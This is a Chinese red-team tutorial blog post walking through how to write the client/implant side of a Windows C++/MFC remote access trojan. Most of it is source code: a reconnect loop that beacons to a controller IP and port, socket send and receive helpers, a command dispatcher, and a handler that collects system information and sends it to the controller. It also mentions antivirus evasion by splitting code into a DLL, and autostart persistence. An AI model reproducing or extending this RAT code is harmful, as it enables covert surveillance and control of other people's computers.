 void CThreadMain::GetInfo()
{
    int Port = atoi(czPort);
    this->Time = atoi(czTime);
    this->SetupDir = atoi(czSetupDir);
    this->AutoFlag = atoi(czAuto);
}


用来生成配置文件

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

运行

 
SOCKET CThreadMain::Run()
{
    SOCKET sock;
    while(true)
    {
        sock = m_sock.StartSocket(this->Address);  // 连接远程主机  ip
        if(sock == NULL)
        {
            Sleep(this->Time * 1000);  //  等待60s
            printf("Sleep\n");
            continue;
        }
        else
        {
            break;
        }
    }
    return sock; 

}



command 命令



void CThreadMain::Command(SOCKET Sock)
{
    MSGINFO_S msg;
    m_Socket = Sock;
    while(1)
    {
        if(this->RunFlag == false)  // 程序是否可以运行
        {
            break;
        }
        memset(&msg,0,sizeof(MSGINFO_S));   //  消息结构体 清空
        if(m_sock.MyRecv(Sock,(char*)&msg,sizeof(MSGINFO_S))==0)   // 连接
        {
            break;
        }
        ExecCommand(msg,Sock);  // 执行命令
    }
    return;
}


void CThreadMain::ExecCommand(MSGINFO_S msg,SOCKET l_Socket)
{
    switch(msg.Msg_id)
        {
        case SYSINFO:
            {
                printf("GetSystemInfo\n");
                m_sys.SendSysinfo(l_Socket);
            }
            break;
        default:
            {
                printf("UnKnow Command\n");
                return;
            }
        }
}

头文件里创建引用

#pragma once

class CThreadMain
{
public:
	CThreadMain(void);
	~CThreadMain(void);
	void GetInfo();


private:
	
	SOCKET Run();
	void Command(SOCKET Sock);
	void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
};




win32 类库/头文件

#include <winsock2.h> stdafx.h中
头文件调用 stdafx.h
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

#pragma comment(lib,“ws2_32.lib”)
#pragma comment(lib,“User32.lib”)
#pragma comment(lib,“Advapi32.lib”)
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

startsocket 开始监听 类函数

添加类

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

StartSocket

链接远程ip地址

SOCKET CMySocket::StartSocket(char Address[160])
{
    WSADATA data;
    WORD w=MAKEWORD(2,2);
    ::WSAStartup(w,&data);
    SOCKET s;
    s=::socket(AF_INET,SOCK_STREAM,0);
    sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(m_port);
    addr.sin_addr.S_un.S_addr = inet_addr(Address);
    if(::connect(s,(sockaddr*)&addr,sizeof(addr))==SOCKET_ERROR)
    {
        printf("Connect Error\n");
        DWORD e = GetLastError();
        printf("LastError:%d\n",e);
        s = NULL;
    }
    else
    {
        printf("Connect Success!\n");
    }
    return s;
}



SOCKET StartSocket(char Address[160])
mysend/myrecv
int CMySocket::MySend(SOCKET socket,const char* buf,int bytes)
{
	const char *b = buf;
	while(bytes > 0) 
	{ 
		int r = send(socket,b,bytes,0); 
		if(r < 0) 
		{
            printf("Socket_Error\n");
			return r; 
		} 
		else if(r == 0)
		{
            printf("Socket_Error\n");
			break;
		} 
		bytes -= r; 
		b += r; 
	} 
	return b - (char*)buf; 
}

int CMySocket::MyRecv(SOCKET socket,char* buf,int bytes)
{
    char *b = (char*)buf;
    while(bytes > 0)
    {
        int r = recv(socket,b,bytes,0);
        if(r < 0)
        {
            return 0;
        }
        else if(r == 0)
        {
            break;
        }
        bytes = bytes - r;
        b = b + r;
    }
    return b - (char*)buf;
}







#pragma once
#include "stdafx.h"

class CMySocket
{
public:
	CMySocket(void);
	~CMySocket(void);
	SOCKET StartSocket(char Address[160]);
	int MySend(SOCKET socket,const char* buf,int bytes);
	int MyRecv(SOCKET socket,char* buf,int bytes);
};




红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

设置

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

m_sock

#pragma once

#include "stdafx.h"
#include "MySocket.h"

 

private: 
	void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
	CMySocket m_sock;
	char Address[160];
};

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

void CThreadMain::GetInfo()
{
    int Port = 1474;
    //this->Time = 60;
    //this->SetupDir = 0;
    //this->AutoFlag = 1;
	m_sock.m_port = Port;
	strcpy_s(Address,"127.0.0.1");

}

Common 头文件

头文件 新添加项

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

MSGINFO_S 结构体


#pragma once
#include <windows.h>
#define SYSINFO  0x01

typedef struct tagMSGINFO //传输消息结构体
{
    int Msg_id;
    BYTE context[1024*5];
}MSGINFO_S;

typedef struct tagSYSTEMINFO
{
    int os;
    bool Cam; //摄像头
    double ver;
}SYSTEMINFO_S;

ThreadMain头文件

#pragma once

#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"

class CThreadMain
{
public:
	CThreadMain(void);
	~CThreadMain(void);
	void GetInfo();
	bool RunFlag;
	SOCKET Run();
	void Command(SOCKET Sock);

private:
	 
	void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
	CMySocket m_sock;
	char Address[160];
	SOCKET m_Socket;
	
};

runflag 启动

#include "stdafx.h"
#include "ThreadMain.h"
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"User32.lib")
#pragma comment(lib,"Advapi32.lib")


void Server();


void Server()
{

    CThreadMain Thread_Main;
	Thread_Main.RunFlag = true;
    Thread_Main.GetInfo(); //获取配置信息

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

[5]客户端与服务端连接

发送连接->进入主线程->返回socket->执行命令

->SYSINFO获取系统信息->发送系统信息

 switch(msg.Msg_id)
        {
        case SYSINFO:
            {
                printf("GetSystemInfo\n");
                m_sys.SendSysinfo(l_Socket);
            }
            break;
        default:
            {
                printf("UnKnow Command\n");
                return;
            }
        }

封装类
谁使用谁声明谁调用
免杀 kill 类 做成dll文件 分离释放

操作系统SystemInfo类

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

获取系统信息

int CSystemInfo::GetSys_ver()
{
    OSVERSIONINFO osver = {sizeof(OSVERSIONINFO)};
	GetVersionEx(&osver);
    int t;
	if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 0)
	{
		t = 0;
	}
	
	else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 1)
	{
		t = 1;
	}
	
    else if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0)
    {
        t = 2;
    }

	else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 2)
    {
		t = 3;
    }
	else t = 4;
    return t;
}

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

发送系统信息


void CSystemInfo::SendSysinfo(SOCKET sock)
{
    SYSTEMINFO_S system;
    system.os = GetSys_ver();
    system.ver = 0.1; //版本号
    system.Cam = false;
    MSGINFO_S msg;
    memset(&msg,0,sizeof(MSGINFO_S));
    msg.Msg_id = SYSINFO;
    memcpy(msg.context,&system,sizeof(SYSTEMINFO_S));
    m_sock.MySend(sock,(char*)&msg,sizeof(MSGINFO_S));
    // 使用了 CMysocket这个类
}

头文件声明

#pragma once
#include "MySocket.h"
#include "Common.h"

class CSystemInfo
{
public:
	CSystemInfo(void);
	~CSystemInfo(void);
	void SendSysinfo(SOCKET sock);
	CMySocket m_sock;
private:
	int GetSys_ver();
	
};



#define SYSINFO 0x01
// 通用结构体文件

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
路径
自启动

头文件调用

 #pragma once

#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"
#include "SystemInfo.h"

class CThreadMain
{
public:
	CThreadMain(void);
	~CThreadMain(void);
	void GetInfo();
	bool RunFlag;
	SOCKET Run();
	void Command(SOCKET Sock);

private:
	
	 
	void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
	CMySocket m_sock;
	char Address[160];
	SOCKET m_Socket;
	int Time;

	CSystemInfo m_sys;
	
};




红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

未找到来自 OleAcc.dll 的导入LINK

/DELAYLOAD:OleAcc.dll;

warning LNK4199: 已忽略

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc文章来源地址https://www.toymoban.com/news/detail-737688.html

到了这里,关于红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 远程控制软件Todesk声音解决方案

    最早使用todesk是在疫情居家办公的时候,那个时候像TeamViewer,向日葵等等一些软件似乎不太尽如人意,就在苦苦搜寻一款软件的时候,todesk映入眼帘,从那个时候起一直到现在,todesk称得上远程办公的良心软件。 注:本文提到的软件来自官方网站,windows版下载链接:todesk官

    2024年01月16日
    浏览(15)
  • 远程控制软件和云电脑该选择哪个了

    云电脑这个新兴产业,在很多人的眼里其实和远程电脑服务差不多,都是可以让一台电脑或者手机变成另一台电脑,实现硬件配置上的突破。不过这两者之间,还是有着较大差别的。远程桌面和云桌面,两者所想要达到的目的类似,但是技术大不相同。 可以在任何一个地方使

    2024年02月16日
    浏览(12)
  • 笔记本关上后盖后,远程软件无法控制

    以18款联想小新air13为例 笔记本关上后盖后,远程软件todesk,显示连接成功,但是无法对电脑进行操作,屏幕停留在关闭后盖的一瞬间。 ACPI(高级配置与电源管理接口)盖子驱动是用于处理笔记本电脑盖子状态的驱动程序。笔记本电脑的盖子通常指的是笔记本电脑的液晶屏幕

    2024年02月04日
    浏览(21)
  • 远程控制软件也要有plan B备选方案

    职场办公熟练掌握远程控制软件是非常有必要的。虚竹哥有个朋友小五,他在上海一家游戏公司上班。今年上海疫情,公司要求居家办公,居家远程公司的电脑工作。小五做事情很谨慎,会准备plan B方案:小五在公司电脑上同时安装向日葵和ToDesk ,其中一个挂了,另一个还可

    2024年02月13日
    浏览(19)
  • 三款远程控制软件对比,5大挑选指标:安全、稳定、易用、兼容、功能

    陈老老老板🤴 🧙‍♂️本文专栏:生活(主要讲一下自己生活相关的内容)生活就像海洋,只有意志坚强的人,才能到达彼岸。 🧙‍♂️本文简述:三款远程控制软件对比,5大挑选指标:安全、稳定、易用、兼容、功能 🧙‍♂️上一篇文章: 年度总结-你觉得什么叫生活?

    2024年02月12日
    浏览(13)
  • 想用电脑远程控制手机?两款软件可以轻松做到,还能双向语音!

    据中国电子装备技术开发协会统计,截至2021年底,国内手机社会保有量达到了18.56亿部,中国人均拥有1.3部手机,超过世界平均水平,部分人甚至拥有四部、五部手机。超两成用户一年换一部手机,每年产生4亿部废旧手机。 手机多,但出门带着总感觉重,可是每台手机也有

    2024年01月18日
    浏览(20)
  • 远程控制软件安全吗?一文看懂ToDesk、RayLink、TeamViewer、Splashtop相关安全机制

    目录 一、前言 二、远程控制中的安全威胁 三、国内外远控软件安全机制 【ToDesk】 【RayLink】 【Teamviewer】 【Splashtop】 四、安全远控预防 一、前言 近期,远程控制话题再一次引起关注。 据相关新闻报道,不少不法分子利用远程控制软件实施网络诈骗,致使用户钱财受损,进

    2024年02月14日
    浏览(12)
  • 远程控制软件安全吗?一文看懂ToDesk、RayLink、TeamViewer、Splashtop相关安全机制_raylink todesk

    目录 一、前言 二、远程控制中的安全威胁 三、国内外远控软件安全机制 【ToDesk】 【RayLink】 【Teamviewer】 【Splashtop】 四、安全远控预防 一、前言 近期,远程控制话题再一次引起关注。 据相关新闻报道,不少不法分子利用远程控制软件实施网络诈骗,致使用户钱财受损,进

    2024年01月19日
    浏览(21)
  • 【电机控制】小白从零开始:STM32双闭环(速度环、位置环)电机控制(软件篇)

    小白从零开始:STM32双闭环(速度环、位置环)电机控制(软件篇) 小白从零开始:STM32双闭环(速度环、位置环)电机控制(硬件篇) 小白从零开始:STM32双闭环(速度环、位置环)电机控制(软件篇) 杭州研究生手把手教你搞不定STM32 使用工具: 1.语言:C语言 2.代码编译

    2024年02月12日
    浏览(12)
  • 怎么用手机远程控制电脑 远程控制怎么用

    怎么用手机远程控制电脑:远程控制怎么用 在这个科技日新月异的时代,远程控制电脑已经成为了很多人的需求。有时,我们可能在外出时突然需要访问家中的电脑,或者在工作中需要远程操控办公室的电脑。这时,如果能用手机远程控制电脑,那将是非常方便的。那么,怎

    2024年04月22日
    浏览(9)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包